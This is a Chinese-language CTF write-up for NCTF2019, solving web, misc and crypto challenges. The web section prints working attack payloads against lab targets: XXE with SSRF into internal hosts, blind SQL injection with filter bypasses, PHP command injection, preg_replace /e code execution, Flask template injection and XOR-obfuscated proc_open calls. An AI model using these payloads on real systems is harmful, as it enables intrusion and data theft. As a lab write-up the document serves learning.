前言
NCTF2019…..
WEB
1.Fake XML cookbook
用户名字段存在有回显xxe,payload直接打,flag在根目录下:
1 | <!DOCTYPE ANY [ |
2.True XML cookbook
再把上一题的payload打一遍,发现已经不行了,但是依旧有回显.
没有找到flag的位置…..试着读源码,发现啥也都没有
最后发现是使用xxe用ssrf打内网,这里有几个文件会记录内网下的ip
1 | /etc/hosts,/proc/net/arp,/proc/net/fib_trie |
一个个试,在192.168.1.8获得flag
3.sqli
fuzz测试下发现被ban掉的字符有:
1 | , ' " and or # - + = 空格 |
这里的sql注入的查询语句是
1 | select * from username='' and password='' |
过滤掉单引号,用反转义来闭合,但是又过滤了所有的注释符,考虑使用%00来截断末尾的单引号
payload如下:
1 | username=123\&passwd=||1;%00 |
302至welcome.php,所以现在是登录失败和登录成功的差别了,要盲注.
fuzz测试发现,过滤了substr(),mid(),select()
截取字符串的还有right()和left(),但是逗号被过滤了,剩下一个ascii()可以利用,然后=<>like被过滤了,剩下regexp可以利用,而且既然过滤了select ,只能构造简单判断字段的语句.
payload如下:
1 | username=123\&passwd=||1;%00 |
其中69=’i’.encode(‘hex’)
其中6e=’n’.encode(‘hex’)
其中63=’c’.encode(‘hex’)
先通过ascii手动爆破出第一位
1 | username=123\&passwd=||passwd/**/regexp/**/121;%00 |
发现是y
exp如下:
1 | import requests |
爆出密码:you_will_never_know7788990
登陆任意用户名即可获得flag
4.easyphp
代码审计题
1 |
|
第一部分:用%0a绕过preg_match()
1 | payload:?num=23333%0a |
第二部分:
首先$md5_1不等于$md5_2,这里可以看到$string_1是需要经过is_numeric()的检测
然后$a=$b过第二层,这里考虑使用到0e的特点.
所以最终的思路是,爆破一个数字,他的md5值其中除数字外只包含’cxhp’的其中一个或多个.这样在经过strtr()替换后,$a就是纯数字,再找一个符合0e特点的数字
exp:
1 | import hashlib |
爆破结果:2120624
payload:
1 | num=23333%0a&str1=2120624&str2=240610708 |
第三层:
$_GET['q_w_q']
长度小于等于8,并且$_SERVER['QUERY_STRING']
检测不能包含下划线_
也就是说我们不能输入q_w_q
,
参考:https://zhidao.baidu.com/question/2140448796534468708.html?qq-pf-to=pcqq.c2c
php传入变量带有点号.会被自动转化成下划线_
payload1:
1 | ?num=23333%0a&str1=2120624&str2=240610708&q.w.q=dir%20./ |
读目录
考虑到这个参数值长度不可超过8,没有cat,使用head,并且使用通配符绕过对长度的限制
1 | ?num=23333%0a&str1=2120624&str2=240610708&q.w.q=head%20f* |
5.replace
hint:使用php5.6+bootstrap进行开发
参考:https://www.freebuf.com/column/182130.html
因为在源码中直接带有/e模式,所以phpinfo()就直接执行了…
过滤了单引号,用chr()代替
payload:
1 | sub=123&pat=123&rep=show_source(chr(47).chr(102).chr(108).chr(97).chr(103)); |
6.flask
打开靶机,是flask写的实现加密功能的网站
在md5加密和base64加密的参数中尝试ssti失败
访问sha256
访问/123
在这里有ssti
然后就直接一把梭读flag,payload
1 | {{().__class__.__base__.__subclasses__()[40]('/fla'+'g').read()}} |
7.hackerbackdoor
nctf PHP1.0的变形,加上过滤了eval,assert函数
执行phpinfo:
1 | ?useful=/etc/passwd&code=$a=p.h.p.i.n.f.o;$a(); |
跟inctf一样,没有禁用proc_open函数,直接按之前的做法,执行:
1 | proc_open("/readFlag>/tmp/hhx",array(),$z); |
直接之前的payload来打就行:
1 | ?useful=/etc/passwd&code=$a=p.r.o.c.(%a0^%ff).o.p.e.n;$a((%d0^%ff).r.e.a.d.f.l.a.g.(%c1^%ff).(%d0^%ff).t.m.p.%20(%d0^%ff).c.o.o.k.i.e,array(),$z); |
写flag到/tmp/cookie
1 | ?useful=/etc/passwd&code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%27/tmp/cookie%27);&%ff=show_source |
读/tmp/cookie
NCTF{u_arrree_S0_c3refu1_aaaaaaa}
MISC
1.a_good_idea
解压文件得到两个图片
然后用stegsolve用to_do.png去combine那个to.png
2.pip install
去安装这个库的时候,安装信息里有一个下载地址
访问该地址,下载库文件,在setup.py里找到flag
3.What’s this
看着是一道流量分析题……
上传的是一个zip文件,我们保存这个zip文件
然后在deepin上看zip文件是有加密……我在win7上用7z莫名其妙就打开了
然后这是一个base64隐写
网上找个脚本跑一下
https://www.jianshu.com/p/48fe4dd3e5ce
4.小狗的秘密
感觉都做到最后一步了,分析流量,http的数据没有逻辑可言,但是在里面发现了一个1.html
这是像素坐标,把这个转成png就好了…..
参考:https://github.com/ctfs/write-ups-2014/tree/master/defkthon-ctf/misc-200
网上找了个脚本,当然用GIMP也是可以的
https://blog.csdn.net/qq_40657585/article/details/84858709
1.html保存下来的像素点有49799个,保险起见,补一个像素点255 255 255
分解49800,最正常的因子有332*150,然后脚本跑一下,就有flag图了.
分解因子的链接:http://www.ecjson.com/quality/
5.键盘侠
JPG图片后有个压缩包,分离出来,更改后缀.docx。
检查文档可以获得一串字符:
PD4idqQC|WjHloX>)UPb8ZFb8laGczAeteE
试了一下午,发现原来是base85...
6.Become a Rockstart
很无聊的脑洞题…..
我倒着读,然后把这里面提到的几个人说的话拼起来
居然就是flag….
flag:NCTF{youarnicerockstar}
crypto
1.Keyboard
考虑到这里的ooo yyy 这些可能是某个字符,然后这样的字符串很像词频攻击
在百度上找到:https://blog.csdn.net/vhkjhwbs/article/details/100775409
自己写一个对应表
这里的yyy eee 这样子非单个字符的字符串对应某个字符,这个字符随便写一个就好了,我这里ooo=o,当然也可以是ooo=x等等,不和已有的单字符重复就好了...
跑一下就好
这里我疯了,flag是:NCTF{youaresosmartthatthisisjustapieceofcake}